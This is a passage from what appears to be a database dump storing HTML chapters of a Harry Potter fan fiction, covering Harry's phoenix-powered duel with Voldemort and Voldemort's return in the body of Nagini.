memory.&nbsp; Then Harry realized, it was Gemstar; she was giving him the\nspell.&nbsp; Her spirit was giving him the spell to unlock his power.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort,\nI have only one thing to say to you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nwhat is that, Harry Potter?&#8221; The young man&#8217;s eyes looked directly at the dark\nwizard, and a smirk crossed his lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bird\nof fire&#8230;hear my plight&#8230;come to me upon this night&#8230;draw your power from light&#8230;&#8221;\nHarry extended his hands skyward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;and\nwithin my hands&#8230;your power ignite&#8230;PHOENIX!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What\nhappened next would be remembered at Hogwarts for ages to come.&nbsp; Fire\nblazed in Harry Potter&#8217;s eyes, and you could hear a roar like a tiger&#8217;s as his\npower erupted.&nbsp; For the first time, a look of fear crossed the face of\nLord Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No&#8230;it&#8230;it\ncan&#8217;t be!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 16, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">From\ninside their dormitories, the students of Hogwarts watched in astonishment as\npillars of fire exploded out of Harry Potter&#8217;s hands.&nbsp; The flames\nsurrounded the young wizard, and he folded his arms across his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,\nwhat&#8217;s going on out there?&nbsp; What is Harry doing?&#8221; Lavender gasped trying\nnot to gawk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I\ndon&#8217;t know&#8230;I&#8217;ve never seen anything like this!&#8221; the red-haired young man\nanswered.&nbsp; He watched his best friend in awe wondering how he could be\ndoing this.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nin blazes is Harry trying to do?&#8221; Hagrid shouted as he saw the fireball engulf\nhis long-time friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hagrid!&#8221;\nRemus called to him, &#8220;Give me a hand!&#8221; The half-giant looked at the elder man\ncarrying a limp Professor Dumbledore and Sirius over his shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is\nhe all right?&#8221; Professor McGonagall asked as she knelt down to check on the\nheadmaster.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nthink so, but it&#8217;s gonna take a long time before his strength comes back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore&#8217;s\neyes opened slightly, and McGonagall gazed down at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus,\nstay still, you need to rest.&#8221; The elder man turned his head, and he smiled\nwhen he saw the fire surrounding Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;At\nlast, he&#8217;s found it!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Found\nwhat, Professor?&#8221; five different people asked at once &#8211; Professor McGonagall,\nSnape, Fudge, Hagrid, and Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8217;s\npower is awakening.&nbsp; Now, it is time to see what he can really do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back\noutside, Harry opened his eyes and looked directly at Voldemort.&nbsp; He could\nfeel his power inside him; it was his for the taking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nloud screech could be heard all around Hogwarts; it sounded like a large\nbird.&nbsp; Harry stretched out his arms, and the fire surrounding him exploded\noutwards.&nbsp; The pillars from each of his arms formed into wings, and the\nfire above him formed into a head with a long tuft at one end and a long beak\nat the other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;AWWWWWKKKKKK!!!&#8221;\nthe mighty bird called as its mouth opened in a loud cry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\ncould only stand and stare as he watched a phoenix take shape around Harry\nPotter&#8217;s body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis this?&#8221; he demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nVoldemort, we end this once and for all,&#8221; Harry nearly growled.&nbsp; The\nphoenix screeched, and its flaming eyes bore into the Dark Lord&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nwill not defeat me, boy.&nbsp; I enjoyed the fireworks show, but it can easily\nbe extinguished.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nraised his wand and directed it towards the lake near Hagrid&#8217;s shack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Aquas\nTidales!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nwater in the lake exploded upwards and surged towards Harry like a giant tidal\nwave.&nbsp; He showed no signs of backing down, and Voldemort directed the wall\nof water directly onto him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncrossed his arms in front of him, and the phoenix closed its wings around he\nand Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\nwon&#8217;t help you, Harry Potter!&#8221; Voldemort laughed as the tidal wave slammed into\nthe firebird.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Water\nsprayed everywhere upon impact, but it merely evaporated into the air.&nbsp;\nThe phoenix reopened its wings, and Harry shook his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nfinished, Voldemort!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nDark Lord&#8217;s eyes burned with hatred, but they fell upon the limp figure lying\nnext to Harry on the ground.&nbsp; Aiming his wand directly at Hermione, he\nsnarled evilly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nmore games, Potter, you will now watch your &#8216;girlfriend&#8217; die in your arms!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Avada\nKedavra!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngrabbed Hermione just in time as the puff of green smoke appeared.&nbsp; She\ncoughed raggedly as he held her in his arms, and blood splattered on his\nsweater.&nbsp; He knew that she was in bad shape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He\nput her back down on the ground and picked up her left hand.&nbsp; The ring\nthat he had given her was still on her finger, and it glistened slightly from\nthe flames around them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hogwarts\nMain Gate,&#8221; Harry stated and cast a spell on the ring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ndisappeared in a flash.&nbsp; He&#8217;d made her ring into a portkey, and Remus\ncould remove the spell once she was back inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nemerged in the middle of a very surprised crowd of people.&nbsp; Ron and\nLavender immediately went to her side, and Professor McGonagall checked her\ninjuries.&nbsp; The older woman&#8217;s face turned grim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is\nshe gonna be all right?&#8221; Ron asked worriedly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nneed to get her to the hospital wing.&nbsp; Hagrid?&#8221; The half-giant nodded and\npicked up the young woman easily.&nbsp; With Ron and Lavender in tow, he headed\nfor Madam Pomfrey&#8217;s ward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter could not remember ever being angry with too many people &#8211; the Dursleys&#8230;yes,\nDraco Malfoy&#8230;on occasion.&nbsp; But he had never felt such a surge of raw fury\nas he did at that moment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort!&#8221;\nhe roared so loud the earth almost shook.&nbsp; The dark wizard almost gulped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Many\npeople have tried to kill me, Harry Potter, and they have all failed &#8211; so will\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nphoenix surrounding Harry&#8217;s body diminished in size until it disappeared\ncompletely.&nbsp; Harry stood back up to his feet and pulled out his\nwand.&nbsp; Pointing it at his opponent, a stream of ice arrows shot out front\nhis wand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nlevitated up into the air to avoid the attack, and Harry was waiting for that.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nthe matter, boy, your fire burn out?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nnot going to waste the phoenix on you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;A\nbit overconfident aren&#8217;t we?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nI just finally understand who am I.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nwho are you, Harry Potter?&#8221; The young man&#8217;s eyes narrowed, and his expression\nhardened into a look of cold determination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Your\ndevise!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nraised his wand, and a spark ignited at the end of it.&nbsp; The wizard\nlaunched his attack at Harry, but it exploded several feet before it reached\nhim.&nbsp; The brightest of the explosion forced the young man to cover his\neyes, and that&#8217;s what Voldemort was waiting.&nbsp; He disapparated from where\nhe was and apparated right in front of Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Uh!&#8221;\nHe suddenly felt a cold hand wrap around his throat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nHarry Potter, you will die by my own&nbsp; hand.&#8221; Voldemort squeezed, and Harry\nbegan to gag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Be\na good boy and die!&#8221; The Dark Lord tightened his grip, and Harry could feel consciousness\nslipping from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No!&#8221;\nhe shouted, &#8220;I won&#8217;t let this happen!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngrabbed the hand around his throat.&nbsp; As of a sudden, Voldemort&#8217;s skin\nbegan to sizzle.&nbsp; He felt a hideous burning sensation on his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis this?&nbsp; I&#8217;m immune to your stupid protection!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wrong,\nyou bastard, you may have used my blood to revive yourself, but you&#8217;ll never be\nlike me!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nfelt Voldemort&#8217;s hand melting in his grasp, and the evil wizard drew back from\nhim sharply.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nno you don&#8217;t!&#8221; Harry quickly put his hands on his face, and Voldemort howled in\npain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\ncan&#8217;t be!&nbsp; I cannot be beaten by you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\npressed his hands harder against his face, and his skin began to disintegrate\njust as Professor Quirl&#8217;s had so long ago.&nbsp; Voldemort&#8217;s body turned to\ndust, and his robe floated back down to the ground.&nbsp; Harry floated back\ndown to the ground, and a small smile appeared on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nover.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Brushing\nthe sweat from his brow, Harry turned around to hear cheering coming from every\nwindow in Hogwarts.&nbsp; Blushing slightly in embarrassment, the young man\nheaded back to the main gate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus\nwas waiting for him, and a semi-conscious Sirius was standing next to him with\nhis arm over his shoulder.&nbsp; Professor Dumbledore was back on his feet as\nwell with a little help from Professor McGonagall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\ndone, Harry, well done,&#8221; Dumbledore said proudly.&nbsp; All of the boy&#8217;s\nmentors were smiling at him, and the young man flushed slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Despite\nhis friends&#8217; cheers, Harry felt uneasy.&nbsp; Something wasn&#8217;t right about\nthis.&nbsp; He turned around, and his eyes fell upon the place where\nVoldemort&#8217;s former body had fallen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back\nout in the field, something stirred from within Voldemort&#8217;s robes.&nbsp; A\nsmall dust cloud appeared from inside and floated up outside the cloth.&nbsp;\nAn angry voice growled with hatred.&nbsp; Harry Potter would not beat him so\neasily, but he needed a body or a host in order to maintain himself.&nbsp; His\neyes fell upon the charred body of his pet snake Nagini.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;No\nHarry Potter, it&#8217;s not over yet.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 17, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nfelt the hairs of the back of his neck tingle, and his scar burned\nintensely.&nbsp; He turned away from his friends, and his eyes gazed out\ntowards the battlefield.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhat is it?&#8221; Sirius asked.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That\nwas when they all saw it - the form of a huge snake rising off the\nground.&nbsp; It had grown to almost forty feet long, and when it opened its\neyes, they were crimson red.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort,&#8221;\nHarry stated, and his teeth clenched.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI thought he was dead,&#8221; Remus said in shock.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It\nappears that his essence has possessed the body of that snake,&#8221; Dumbledore\nexplained.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;Potter&#8230;ssss&#8230;&#8221;\nThe snake&#8217;s eyes glowed bright red, and it hissed at the young wizard\nmenacingly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" 